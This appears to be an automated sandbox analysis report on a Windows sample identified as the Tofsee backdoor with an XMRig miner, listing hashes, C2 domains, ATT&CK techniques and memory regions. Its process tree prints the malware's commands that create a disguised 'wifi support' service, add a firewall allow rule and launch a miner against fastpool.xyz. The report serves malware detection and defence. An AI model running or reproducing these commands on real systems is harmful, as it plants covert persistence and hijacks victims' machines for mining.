Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-04-2023 17:12

General

  • Target

    file.exe

  • Size

    213KB

  • MD5

    e468614fc58a4100991210b073621dd3

  • SHA1

    c75a31fb2d660bda920034a6c6caecdf1d1f690d

  • SHA256

    e75735f7291fe1d0d38a5f7f8f25eeebcb347619dd1df065ea2ea7cb077e35e8

  • SHA512

    e513e3da86bb5defd047026f1aa6d21c7676a2939eefbd1e3ea1c67cecc0ca486f3f47c67ce5768da33d0b480eec4f4b98b99c60b39213b3988efbdbb9fbe358

  • SSDEEP

    3072:2g8L7IZulOSCTwH+3AufD3wmLK2z4sOYwkYrW5B51zI7iMWkv:A0ulO6ArfLKwdZ07iMFv

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1280
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kljgtmbj\
      2⤵
        PID:4204
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mykpmsrf.exe" C:\Windows\SysWOW64\kljgtmbj\
        2⤵
          PID:2176
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kljgtmbj binPath= "C:\Windows\SysWOW64\kljgtmbj\mykpmsrf.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3836
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description kljgtmbj "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4796
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start kljgtmbj
          2⤵
          • Launches sc.exe
          PID:208
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3684
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1280 -s 812
          2⤵
          • Program crash
          PID:1524
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 1280 -ip 1280
        1⤵
          PID:1348
        • C:\Windows\SysWOW64\kljgtmbj\mykpmsrf.exe
          C:\Windows\SysWOW64\kljgtmbj\mykpmsrf.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2112
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:3564
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4432
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2112 -s 528
            2⤵
            • Program crash
            PID:2848
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2112 -ip 2112
          1⤵
            PID:2188

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\mykpmsrf.exe
            Filesize

            14.6MB

            MD5

            ee8998457578b226e454ff6402549e17

            SHA1

            ed0c699cf38ab0278f4be5c850113dfc3181115b

            SHA256

            fdf473d7d0ab19d9ddd55c65599298a2ccef183e1feae94505f651f6d8bbdb6f

            SHA512

            1d01cc6b93d7d016d959978431945a13b517d59c8ae91a40f18ddf886023817ef4470888ac5c026d12713d4445ef6f8690caaefd0a1c3b3baaf327f18d2dc590

          • C:\Windows\SysWOW64\kljgtmbj\mykpmsrf.exe
            Filesize

            14.6MB

            MD5

            ee8998457578b226e454ff6402549e17

            SHA1

            ed0c699cf38ab0278f4be5c850113dfc3181115b

            SHA256

            fdf473d7d0ab19d9ddd55c65599298a2ccef183e1feae94505f651f6d8bbdb6f

            SHA512

            1d01cc6b93d7d016d959978431945a13b517d59c8ae91a40f18ddf886023817ef4470888ac5c026d12713d4445ef6f8690caaefd0a1c3b3baaf327f18d2dc590

          • memory/1280-139-0x0000000000400000-0x00000000004A2000-memory.dmp
            Filesize

            648KB

          • memory/1280-135-0x00000000021E0000-0x00000000021F3000-memory.dmp
            Filesize

            76KB

          • memory/2112-144-0x0000000000400000-0x00000000004A2000-memory.dmp
            Filesize

            648KB

          • memory/3564-166-0x00000000023E0000-0x00000000023F0000-memory.dmp
            Filesize

            64KB

          • memory/3564-168-0x00000000023E0000-0x00000000023F0000-memory.dmp
            Filesize

            64KB

          • memory/3564-143-0x00000000010A0000-0x00000000010B5000-memory.dmp
            Filesize

            84KB

          • memory/3564-146-0x00000000010A0000-0x00000000010B5000-memory.dmp
            Filesize

            84KB

          • memory/3564-148-0x00000000010A0000-0x00000000010B5000-memory.dmp
            Filesize

            84KB

          • memory/3564-149-0x0000000002C00000-0x0000000002E0F000-memory.dmp
            Filesize

            2.1MB

          • memory/3564-152-0x0000000002C00000-0x0000000002E0F000-memory.dmp
            Filesize

            2.1MB

          • memory/3564-153-0x00000000023D0000-0x00000000023D6000-memory.dmp
            Filesize

            24KB

          • memory/3564-156-0x00000000023E0000-0x00000000023F0000-memory.dmp
            Filesize

            64KB

          • memory/3564-160-0x00000000023E0000-0x00000000023F0000-memory.dmp
            Filesize

            64KB

          • memory/3564-161-0x00000000023E0000-0x00000000023F0000-memory.dmp
            Filesize

            64KB

          • memory/3564-159-0x00000000023E0000-0x00000000023F0000-memory.dmp
            Filesize

            64KB

          • memory/3564-162-0x00000000023E0000-0x00000000023F0000-memory.dmp
            Filesize

            64KB

          • memory/3564-163-0x00000000023E0000-0x00000000023F0000-memory.dmp
            Filesize

            64KB

          • memory/3564-165-0x00000000023E0000-0x00000000023F0000-memory.dmp
            Filesize

            64KB

          • memory/3564-164-0x00000000023E0000-0x00000000023F0000-memory.dmp
            Filesize

            64KB

          • memory/3564-167-0x00000000023E0000-0x00000000023F0000-memory.dmp
            Filesize

            64KB

          • memory/3564-140-0x00000000010A0000-0x00000000010B5000-memory.dmp
            Filesize

            84KB

          • memory/3564-169-0x00000000023E0000-0x00000000023F0000-memory.dmp
            Filesize

            64KB

          • memory/3564-145-0x00000000010A0000-0x00000000010B5000-memory.dmp
            Filesize

            84KB

          • memory/3564-170-0x00000000023E0000-0x00000000023F0000-memory.dmp
            Filesize

            64KB

          • memory/3564-172-0x00000000023E0000-0x00000000023F0000-memory.dmp
            Filesize

            64KB

          • memory/3564-173-0x00000000023E0000-0x00000000023F0000-memory.dmp
            Filesize

            64KB

          • memory/3564-176-0x00000000023F0000-0x00000000023F5000-memory.dmp
            Filesize

            20KB

          • memory/3564-175-0x00000000023E0000-0x00000000023F0000-memory.dmp
            Filesize

            64KB

          • memory/3564-174-0x00000000023E0000-0x00000000023F0000-memory.dmp
            Filesize

            64KB

          • memory/3564-171-0x00000000023E0000-0x00000000023F0000-memory.dmp
            Filesize

            64KB

          • memory/3564-179-0x00000000023F0000-0x00000000023F5000-memory.dmp
            Filesize

            20KB

          • memory/3564-180-0x0000000007C40000-0x000000000804B000-memory.dmp
            Filesize

            4.0MB

          • memory/3564-183-0x0000000007C40000-0x000000000804B000-memory.dmp
            Filesize

            4.0MB

          • memory/3564-184-0x00000000031D0000-0x00000000031D7000-memory.dmp
            Filesize

            28KB

          • memory/4432-188-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/4432-193-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/4432-194-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/4432-195-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/4432-197-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/4432-198-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/4432-199-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/4432-196-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB